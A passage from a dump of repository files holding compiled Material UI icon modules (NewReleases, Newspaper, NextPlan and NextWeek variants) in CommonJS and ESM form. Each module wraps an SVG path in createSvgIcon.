    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z\"\n}), 'NewReleases');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewReleasesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-4.51 2.11.26 2.79-2.74.62-1.43 2.41L12 18.82l-2.58 1.11-1.43-2.41-2.74-.62.26-2.8L3.66 12l1.85-2.12-.26-2.78 2.74-.61 1.43-2.41L12 5.18l2.58-1.11 1.43 2.41 2.74.62-.26 2.79L20.34 12zM11 15h2v2h-2zm0-8h2v6h-2z\"\n}), 'NewReleasesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewReleasesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-4.51 2.11.26 2.79-2.74.62-1.43 2.41L12 18.82l-2.58 1.11-1.43-2.41-2.74-.62.26-2.8L3.66 12l1.85-2.12-.26-2.78 2.74-.61 1.43-2.41L12 5.18l2.58-1.11 1.43 2.41 2.74.62-.26 2.79L20.34 12zM11 15h2v2h-2zm0-8h2v6h-2z\"\n}), 'NewReleasesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewReleasesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.42 11.34-1.86-2.12.26-2.81c.05-.5-.29-.96-.77-1.07l-2.76-.63-1.44-2.43c-.26-.43-.79-.61-1.25-.41L12 3 9.41 1.89c-.46-.2-1-.02-1.25.41L6.71 4.72l-2.75.62c-.49.11-.83.56-.78 1.07l.26 2.8-1.86 2.13c-.33.38-.33.94 0 1.32l1.86 2.12-.26 2.82c-.05.5.29.96.77 1.07l2.76.63 1.44 2.42c.26.43.79.61 1.26.41L12 21l2.59 1.11c.46.2 1 .02 1.25-.41l1.44-2.43 2.76-.63c.49-.11.82-.57.77-1.07l-.26-2.81 1.86-2.12c.34-.36.34-.92.01-1.3M13 17h-2v-2h2zm-1-4c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1\"\n}), 'NewReleasesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewReleasesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.42 11.34-1.86-2.12.26-2.81c.05-.5-.29-.96-.77-1.07l-2.76-.63-1.44-2.43c-.26-.43-.79-.61-1.25-.41L12 3 9.41 1.89c-.46-.2-1-.02-1.25.41L6.71 4.72l-2.75.62c-.49.11-.83.56-.78 1.07l.26 2.8-1.86 2.13c-.33.38-.33.94 0 1.32l1.86 2.12-.26 2.82c-.05.5.29.96.77 1.07l2.76.63 1.44 2.42c.26.43.79.61 1.26.41L12 21l2.59 1.11c.46.2 1 .02 1.25-.41l1.44-2.43 2.76-.63c.49-.11.82-.57.77-1.07l-.26-2.81 1.86-2.12c.34-.36.34-.92.01-1.3M13 17h-2v-2h2zm-1-4c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1\"\n}), 'NewReleasesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewReleasesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z\"\n}), 'NewReleasesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewReleasesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z\"\n}), 'NewReleasesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewReleasesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18.49 9.89.26-2.79-2.74-.62-1.43-2.41L12 5.18 9.42 4.07 7.99 6.48l-2.74.62.26 2.78L3.66 12l1.85 2.11-.26 2.8 2.74.62 1.43 2.41L12 18.82l2.58 1.11 1.43-2.41 2.74-.62-.26-2.79L20.34 12zM13 17h-2v-2h2zm0-4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.9 5.54-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68L23 12l-2.44-2.78zM18.75 16.9l-2.74.62-1.43 2.41L12 18.82l-2.58 1.11-1.43-2.41-2.74-.62.26-2.8L3.66 12l1.85-2.12-.26-2.78 2.74-.61 1.43-2.41L12 5.18l2.58-1.11 1.43 2.41 2.74.62-.26 2.79L20.34 12l-1.85 2.11zM11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"1\")], 'NewReleasesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewReleasesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18.49 9.89.26-2.79-2.74-.62-1.43-2.41L12 5.18 9.42 4.07 7.99 6.48l-2.74.62.26 2.78L3.66 12l1.85 2.11-.26 2.8 2.74.62 1.43 2.41L12 18.82l2.58 1.11 1.43-2.41 2.74-.62-.26-2.79L20.34 12zM13 17h-2v-2h2zm0-4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.9 5.54-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68L23 12l-2.44-2.78zM18.75 16.9l-2.74.62-1.43 2.41L12 18.82l-2.58 1.11-1.43-2.41-2.74-.62.26-2.8L3.66 12l1.85-2.12-.26-2.78 2.74-.61 1.43-2.41L12 5.18l2.58-1.11 1.43 2.41 2.74.62-.26 2.79L20.34 12l-1.85 2.11zM11 15h2v2h-2zm0-8h2v6h-2z\"\n}, \"1\")], 'NewReleasesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Newspaper.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 3-1.67 1.67L18.67 3 17 4.67 15.33 3l-1.66 1.67L12 3l-1.67 1.67L8.67 3 7 4.67 5.33 3 3.67 4.67 2 3v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zM11 19H4v-6h7zm9 0h-7v-2h7zm0-4h-7v-2h7zm0-4H4V8h16z\"\n}), 'Newspaper');"
  },
  {
    "path": "packages/mui-icons-material/lib/Newspaper.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 3-1.67 1.67L18.67 3 17 4.67 15.33 3l-1.66 1.67L12 3l-1.67 1.67L8.67 3 7 4.67 5.33 3 3.67 4.67 2 3v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zM11 19H4v-6h7zm9 0h-7v-2h7zm0-4h-7v-2h7zm0-4H4V8h16z\"\n}), 'Newspaper');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewspaperOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 3-1.67 1.67L18.67 3 17 4.67 15.33 3l-1.66 1.67L12 3l-1.67 1.67L8.67 3 7 4.67 5.33 3 3.67 4.67 2 3v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zM11 19H4v-6h7zm9 0h-7v-2h7zm0-4h-7v-2h7zm0-4H4V8h16z\"\n}), 'NewspaperOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewspaperOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 3-1.67 1.67L18.67 3 17 4.67 15.33 3l-1.66 1.67L12 3l-1.67 1.67L8.67 3 7 4.67 5.33 3 3.67 4.67 2 3v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zM11 19H4v-6h7zm9 0h-7v-2h7zm0-4h-7v-2h7zm0-4H4V8h16z\"\n}), 'NewspaperOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewspaperRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.15 3.85-.82.82-.95-.96c-.39-.39-1.02-.39-1.42 0l-.96.96-.96-.96c-.39-.39-1.03-.39-1.42 0l-.95.96-.96-.96a.996.996 0 0 0-1.41 0l-.96.96-.96-.96c-.39-.39-1.02-.39-1.42 0L7 4.67l-.96-.96c-.39-.39-1.03-.39-1.42 0l-.95.96-.82-.82c-.31-.31-.85-.09-.85.36V19c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4.21c0-.45-.54-.67-.85-.36M11 19H4v-6h7zm9 0h-7v-2h7zm0-4h-7v-2h7zm0-4H4V8h16z\"\n}), 'NewspaperRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewspaperRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.15 3.85-.82.82-.95-.96c-.39-.39-1.02-.39-1.42 0l-.96.96-.96-.96c-.39-.39-1.03-.39-1.42 0l-.95.96-.96-.96a.996.996 0 0 0-1.41 0l-.96.96-.96-.96c-.39-.39-1.02-.39-1.42 0L7 4.67l-.96-.96c-.39-.39-1.03-.39-1.42 0l-.95.96-.82-.82c-.31-.31-.85-.09-.85.36V19c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V4.21c0-.45-.54-.67-.85-.36M11 19H4v-6h7zm9 0h-7v-2h7zm0-4h-7v-2h7zm0-4H4V8h16z\"\n}), 'NewspaperRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewspaperSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 3-1.67 1.67L18.67 3 17 4.67 15.33 3l-1.66 1.67L12 3l-1.67 1.67L8.67 3 7 4.67 5.33 3 3.67 4.67 2 3v18h20zM11 19H4v-6h7zm9 0h-7v-2h7zm0-4h-7v-2h7zm0-4H4V8h16z\"\n}), 'NewspaperSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewspaperSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 3-1.67 1.67L18.67 3 17 4.67 15.33 3l-1.66 1.67L12 3l-1.67 1.67L8.67 3 7 4.67 5.33 3 3.67 4.67 2 3v18h20zM11 19H4v-6h7zm9 0h-7v-2h7zm0-4h-7v-2h7zm0-4H4V8h16z\"\n}), 'NewspaperSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewspaperTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 3-1.67 1.67L18.67 3 17 4.67 15.33 3l-1.66 1.67L12 3l-1.67 1.67L8.67 3 7 4.67 5.33 3 3.67 4.67 2 3v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zM11 19H4v-6h7zm9 0h-7v-2h7zm0-4h-7v-2h7zm0-4H4V8h16z\"\n}), 'NewspaperTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NewspaperTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 3-1.67 1.67L18.67 3 17 4.67 15.33 3l-1.66 1.67L12 3l-1.67 1.67L8.67 3 7 4.67 5.33 3 3.67 4.67 2 3v16c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2zM11 19H4v-6h7zm9 0h-7v-2h7zm0-4h-7v-2h7zm0-4H4V8h16z\"\n}), 'NewspaperTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextPlan.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 11.97h-5l2.26-2.26c-.91-1.06-2.25-1.74-3.76-1.74-2.37 0-4.35 1.66-4.86 3.88l-.96-.32c.64-2.62 3-4.56 5.82-4.56 1.78 0 3.37.79 4.47 2.03L18 8.97z\"\n}), 'NextPlan');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextPlan.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 11.97h-5l2.26-2.26c-.91-1.06-2.25-1.74-3.76-1.74-2.37 0-4.35 1.66-4.86 3.88l-.96-.32c.64-2.62 3-4.56 5.82-4.56 1.78 0 3.37.79 4.47 2.03L18 8.97z\"\n}), 'NextPlan');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextPlanOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.97 11.03C14.87 9.79 13.28 9 11.5 9c-2.82 0-5.18 1.95-5.82 4.56l.96.32C7.15 11.66 9.13 10 11.5 10c1.51 0 2.85.68 3.76 1.74L13 14h5V9z\"\n}, \"1\")], 'NextPlanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextPlanOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.97 11.03C14.87 9.79 13.28 9 11.5 9c-2.82 0-5.18 1.95-5.82 4.56l.96.32C7.15 11.66 9.13 10 11.5 10c1.51 0 2.85.68 3.76 1.74L13 14h5V9z\"\n}, \"1\")], 'NextPlanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextPlanRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 11.97h-5l2.26-2.26c-.91-1.06-2.25-1.74-3.76-1.74-2.37 0-4.35 1.66-4.86 3.88l-.96-.32c.64-2.62 3-4.56 5.82-4.56 1.78 0 3.37.79 4.47 2.03L18 8.97z\"\n}), 'NextPlanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextPlanRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 11.97h-5l2.26-2.26c-.91-1.06-2.25-1.74-3.76-1.74-2.37 0-4.35 1.66-4.86 3.88l-.96-.32c.64-2.62 3-4.56 5.82-4.56 1.78 0 3.37.79 4.47 2.03L18 8.97z\"\n}), 'NextPlanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextPlanSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 11.97h-5l2.26-2.26c-.91-1.06-2.25-1.74-3.76-1.74-2.37 0-4.35 1.66-4.86 3.88l-.96-.32c.64-2.62 3-4.56 5.82-4.56 1.78 0 3.37.79 4.47 2.03L18 8.97z\"\n}), 'NextPlanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextPlanSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m6 11.97h-5l2.26-2.26c-.91-1.06-2.25-1.74-3.76-1.74-2.37 0-4.35 1.66-4.86 3.88l-.96-.32c.64-2.62 3-4.56 5.82-4.56 1.78 0 3.37.79 4.47 2.03L18 8.97z\"\n}), 'NextPlanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextPlanTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m1 10 2.26-2.26C14.35 10.68 13.01 10 11.5 10c-2.37 0-4.35 1.66-4.86 3.88l-.96-.32C6.32 10.95 8.68 9 11.5 9c1.78 0 3.37.79 4.47 2.03L18 9v5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.97 11.03C14.87 9.79 13.28 9 11.5 9c-2.82 0-5.18 1.95-5.82 4.56l.96.32C7.15 11.66 9.13 10 11.5 10c1.51 0 2.85.68 3.76 1.74L13 14h5V9z\"\n}, \"2\")], 'NextPlanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextPlanTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8m1 10 2.26-2.26C14.35 10.68 13.01 10 11.5 10c-2.37 0-4.35 1.66-4.86 3.88l-.96-.32C6.32 10.95 8.68 9 11.5 9c1.78 0 3.37.79 4.47 2.03L18 9v5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.97 11.03C14.87 9.79 13.28 9 11.5 9c-2.82 0-5.18 1.95-5.82 4.56l.96.32C7.15 11.66 9.13 10 11.5 10c1.51 0 2.85.68 3.76 1.74L13 14h5V9z\"\n}, \"2\")], 'NextPlanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextWeek.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 7h-4V5c0-.55-.22-1.05-.59-1.41C15.05 3.22 14.55 3 14 3h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M10 5h4v2h-4zm1 13.5-1-1 3-3-3-3 1-1 4 4z\"\n}), 'NextWeek');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextWeek.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 7h-4V5c0-.55-.22-1.05-.59-1.41C15.05 3.22 14.55 3 14 3h-4c-1.1 0-2 .9-2 2v2H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2M10 5h4v2h-4zm1 13.5-1-1 3-3-3-3 1-1 4 4z\"\n}), 'NextWeek');"
  },
  {
    "path": "packages/mui-icons-material/lib/NextWeekOutlined.js",
